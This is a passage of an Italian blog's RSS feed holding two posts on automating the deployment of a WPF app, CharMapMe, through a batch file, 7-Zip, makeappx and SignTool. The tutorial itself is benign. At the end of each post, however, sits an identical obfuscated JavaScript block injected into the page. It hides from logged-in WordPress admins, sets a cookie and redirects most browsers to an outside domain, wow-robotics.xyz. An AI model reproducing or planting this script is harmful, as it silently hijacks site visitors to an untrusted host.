<p>In breve: copio tutti i file dalla “bin\Release” nella mia cartella “Portable”. Inizialmente, questa cartella conterrà anche un certo numero di file che <strong><font color="#ff0000">NON</font></strong> è necessario distribuire: ecco perchè le righe successive vanno a cancellare i file pdb, application, config, vshost e manifest.</p>
</div>
<p>Poi utilizzo 7z.exe (ricordate il post precedente? si trovava nella cartella Deploy) per creare al volo uno zip con tutti i file. Il parametro “-sdel” dice di rimuovere i file dopo la creazione del file zip. Il parametro “-r” dice di includere anche i file in eventuali sottocartelle, ma non è il nostro caso.</p>
<p>Fatto questo, nella cartella “Portable” ottengo il file “CharMapMe.zip”, pronto da mettere online.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-27.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-26.png" width="324" height="204"></a></p>
<p><strong>Quarto passo: Windows Store</strong></p>
<p>Il terzo modello di deploy prevede la distribuzione sul Windows Store.</p>
<p>La prima parte di comandi necessari sono i seguenti:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">@echo TASK - Windows Store
xcopy <span class="str">"..\CharMapMe\bin\Release\*.*"</span> <span class="str">"Windows Store"</span>
xcopy <span class="str">"Support\*.*"</span> <span class="str">"Windows Store\*.*"</span> /Q /Y
cd <span class="str">"Windows Store"</span>
del <span class="str">"*.pdb"</span>
del <span class="str">"*.application"</span>
del <span class="str">"*.config"</span>
del <span class="str">"*vshost*"</span>
del <span class="str">"*.manifest"</span></pre>
<p>Sono praticamente gli stessi visti prima per la modalità Portable. Copio tutti i file dalla “bin\Release” a “Windows Store”. Poi copio tutti quelli contenuti nella cartella “Support” nella cartella “Windows Store”: adesso vi dico la ragione di questa operazione. Poi, esattamente come prima, cancello quelli superflui, che non devono essere inclusi nel package.</p>
</div>
<p>A cosa serve la cartella “Support”? Essa contiene 4 file.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-28.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-27.png" width="516" height="237"></a></p>
<ul>
<li>AppxManifest.xml : è il file di manifest per l’applicazione UWP</li>
<li>*.png : sono 3 tile in diverse dimensioni per creare il package UWP</li>
</ul>
<p>E’ un po’ OT, in questo post, raccontare esattamente nel dettaglio questo passaggio. Facciamola breve: per distribuire un’app UWP ci vuole necessariamente un file di manifest. Sempre, in ogni caso. Ma CharMapMe <strong><font color="#ff0000">NON</font></strong> è nata come app UWP, quindi il file di manifest l’ho dovuto creare da zero, con il blocco note. Idem le immagini per avere le tile. Per maggiori informazioni su questo particolare aspetto vi consiglio di leggere <a href="https://blogs.msdn.microsoft.com/italy/2016/09/16/guest-post-desktop-bridge-utilizzare-il-desktop-app-converter/" target="_blank" rel="noopener noreferrer">questo post sul blog di MSDN Italia</a>.</p>
<p>Ok, fino a questo punto ci siamo. Nella cartella “Windows Store” ci sono i file necessari per creare il package: tutti quelli contenuti in “bin\Release” + file di manifest + 3 immagini per le tile. Possiamo generare il file di package vero e proprio.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode"><span class="str">"C:\Program Files (x86)\Windows Kits\10\bin\x64\makeappx.exe"</span>
    pack -d .\ -p <span class="str">"CharMapMe_nosigned.appx"</span></pre>
</div>
<p>Eseguo il tool <strong>makeappx.exe</strong>, dicendo di prendere la cartella corrente, e di generare il file “CharMapMe_nosigned.appx”.</p>
<p>Poi mi duplico il file con il nome “CharMapMe_signed.appx”</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">copy <span class="str">"CharMapMe_nosigned.appx"</span> <span class="str">"CharMapMe_signed.appx"</span> /Y</pre>
<p>Perchè avere due file? Quello “nosigned” sarà quello che invieremo sul Dev Center per tentare la certificazione, mentre quello “signed” potrà essere installato sulla nostra macchina (o su altre di sviluppo e/o test) per testare l’installer vero e proprio, e capire se l’app WPF convertita in UWP parte e funziona correttamente come previsto. Come faccio a firmare un file .appx?</p>
</div>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">SignTool sign /fd SHA256 /a /f
    ..\VivendoByte.pfx /p 123456
    CharMapMe_signed.appx</pre>
<p>Utilizzo il tool <strong>SignTool</strong> per firmare il file “CharMapMe_signed.appx”, passando come parametri il certificato digitale “VivendoByte.pfx”, la password e l’algoritmo di cifratura (SHA256). Fatto, il package è firmato. Ripeto, ne abbiamo due: quello “nosigned” va inviato sul Dev Center, oppure all’ingegnere Microsoft con cui state collaborando per certificare la vostra app; quello “signed” serve a voi e solo a voi per testare la vostra app.</p>
</div>
<p>Infine, giusto per fare un lavoro pulito, cancello tutti i file nel folder “Windows Store” che non hanno l’estensione .appx. Così facendo, ottengo una bella cartella pulita con solo i due file package.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode"><span class="kwrd">for</span> /f %%F <span class="kwrd">in</span> (<span class="str">'dir /b /a-d ^| findstr /vile ".appx"'</span>) do del <span class="str">"%%F"</span></pre>
</div>
<p>Per ottenere quindi una cosa simile:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-29.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-28.png" width="516" height="269"></a></p>
<p>&nbsp;</p>
<p><strong>Conclusioni</strong></p>
<p>Beh, missione compiuta! Ci sarebbe molto altro da dire o da raccontare, per esempio:</p>
<ul>
<li>Posso mettere DevOps.bat nelle “post build events” di Visual Studio?</li>
<li>Perchè non effettuare davvero il deploy in produzione, facendo l’upload dei file nel posto giusto? Ad eccezione del deploy del Windows Store, perchè quest’ultimo ad oggi passa ancora attraverso una procedura manuale di submission</li>
<li>Eseguire “DevOps.bat &gt; DevOps.log” permette di ottenere il log dell’ultima esecuzione, il che può sempre fare comodo</li>
</ul>
<p>Lascio le porte aperte ad ulteriori sviluppi.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/20/devops-bat-il-cuore-del-sistema-di-deploy-per-applicazioni-desktop-wpf.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Automatizzare il deploy di una tradizionale (e banale) applicazione WPF</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/19/automatizzare-il-deploy-di-una-tradizionale-e-banale-applicazione-wpf.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=automatizzare-il-deploy-di-una-tradizionale-e-banale-applicazione-wpf</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/19/automatizzare-il-deploy-di-una-tradizionale-e-banale-applicazione-wpf.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 19 Jan 2017 08:18:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2790</guid>

					<description><![CDATA[Mi piacerebbe dedicare qualche post a descrivervi come ho deciso di organizzare il deploy di una piccola e normalissima applicazione desktop implementata in WPF. Penso che la conoscerete, perchè si tratta di CharMapMe, l’applicazione di cui ho già parlato qualche giorno fa. Il caso secondo me è interessante, perchè l’app non è complessa, e mira [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Mi piacerebbe dedicare qualche post a descrivervi come ho deciso di organizzare il deploy di una piccola e normalissima applicazione desktop implementata in WPF. Penso che la conoscerete, perchè si tratta di <a href="https://charmapme.azurewebsites.net" target="_blank" rel="noopener noreferrer">CharMapMe</a>, l’applicazione di cui ho già parlato qualche giorno fa. Il caso secondo me è interessante, perchè l’app non è complessa, e mira al cuore di un problema ben preciso, che si può riassumere velocemente con la seguente domanda.</p>
<p><font color="#008040"><strong>Quanto è complesso ottenere in modo automatizzato i file corretti da distribuire nel caso di deploy tramite <u>ClickOnce</u>, <u>Portable</u> e magari <u>Windows Store</u></strong>?</font></p>
<p>Ok, andiamo con calma.</p>
<p><strong>Introduzione</strong><br />
CharMapMe sorge dalle ceneri di Show Cars, <a href="https://blog.vivendobyte.net/blog/archive/2017/01/13/show-cars-morto-lunga-vita-a-charmapme.aspx" target="_blank" rel="noopener noreferrer">come vi ho raccontato qui</a>. Vale a dire, quindi, che è un piccolo tool per sviluppatori (ma non solo) nato diversi anni fa, ritagliando tempo libero qua e là e risolvendo un problema che mi affliggeva, ovvero sfogliare tutti i font possibili ed immaginabili alla ricerca di simboli da inserire nelle mie view XAML. Utilizzare charmap, quello predefinito di Windows, è davvero impossibile, non sto qui a raccontare il perchè.</p>
<p>CharMapMe, quindi, è una normale applicazione WPF, puramente desktop, composta dai seguenti file:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-23.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-22.png" width="516" height="424"></a></p>
<p>Un eseguibile ed un po’ di dipendenze esterne. Nulla di che, estremamente banale.</p>
<p><strong><font color="#008040">Ho deciso sin da subito di distribuire CharMapMe sicuramente attraverso ClickOnce</font></strong> dal sito ufficiale <a title="https://charmapme.azurewebsites.net" href="https://charmapme.azurewebsites.net" target="_blank" rel="noopener noreferrer">https://charmapme.azurewebsites.net</a>. <strong><font color="#008040">E poi di distribuirla attraverso un file zip</font></strong>, in modalità portable, così eventualmente uno si mette l’applicazione dove più gli pare e piace, su una chiavetta USB o da altre parti. ClickOnce dà il vantaggio degli auto-aggiornamenti, ma anche la modalità portable è comoda e perfettamente legittima.</p>
<p><strong><font color="#008040">Ho voluto anche distribuirla attraverso il Windows Store, quindi trasformarla in Universal Windows Platform.</font></strong> Avevo due scelte: o la riscrivevo daccapo oppure <a href="https://developer.microsoft.com/en-us/windows/bridges/desktop" target="_blank" rel="noopener noreferrer">utilizzavo Centennial, alias Desktop Bridge</a>, per convertirla più velocemente. Ho optato per questa seconda scelta, più veloce e meno invasiva per il mio cervello (LOL). Sì, nei prossimi giorni vi racconterò anche qualcosa su questa esperienza, non tanto dal punto di vista tecnico, quanto piuttosto per descrivervi esattamente cosa accade, perchè non è un processo totalmente automatico.</p>
<p><strong>Quindi, per riassumere…</strong><br />
<strong><font color="#008040">Voglio distribuire CharMapMe attraverso ClickOnce, uno zip ed il Windows Store.</font></strong></p>
<p>Di per sè, non è affatto complicato ottenere i package per ciascuna distribuzione.<br />
ClickOnce è in pratica un wizard integrato dentro Visual Studio; dopo averlo configurato la prima volta, sono sufficienti 2-3 click per ottenere i file da uploadare sul sito via FTP.<br />
Ottenere uno zip è pressoché banale: si copiano i file in Bin/Release in un folder dedicato, si cancellano i file non necessari (stando bene attenti), si zippano ed il gioco è fatto.<br />
Ottenere il file .appx è più complesso, ma per ora sorvoliamo.</p>
<p><strong>Ma la questione è: posso automatizzare tutto?</strong><br />
Certo che sì. Andiamo gradualmente. Questa è la struttura di cartelle che compongono CharMapMe, così come vengono scaricate dal TFS su cui sono memorizzati i sorgenti. CharMapMe, perdonatemi, non è (ancora?) open-source.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-24.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-23.png" width="516" height="347"></a></p>
<p>C’è il file di solution CharMapMe.sln, c’è il folder “packages” di NuGet, e poi c’è un folder per ciascuno dei progetti (CharMapMe è l’applicazione client WPF vera e propria, tutti gli altri sono assembly di supporto e di dipendenza).</p>
<p><strong><font color="#008040">Ho creato una cartella “Deploy”</font></strong> prima per avere un punto preciso dove finiranno i tre differenti deploy che mi interessa gestire. Vediamo cosa contiene.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-25.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-24.png" width="516" height="243"></a></p>
<p>Elenco e descrivo i file uno ad uno.</p>
<ul>
<li>7z.exe : è il comando appartenente a 7-Zip per zippare i file (mi serve per creare la distribuzione in modalità Portable)</li>
<li>DevOps.bat : è il cuore del sistema, ne parleremo nei prossimi post</li>
<li>DevOps.log : log generato automaticamente dall’ultima esecuzione di DevOps.bat</li>
<li>VivendoByte.* : certificati digitali per gestire e testare il package Windows Store</li>
</ul>
<p><strong><font color="#008040">Ok, il sistema è pronto.</font></strong></p>
<p>DevOps.bat è il file batch che si occuperà di generare i tre deploy, invocato on-demand oppure come post build events da Visual Studio.</p>
<p>Ne parleremo con calma nei prossimi post.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/19/automatizzare-il-deploy-di-una-tradizionale-e-banale-applicazione-wpf.aspx/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
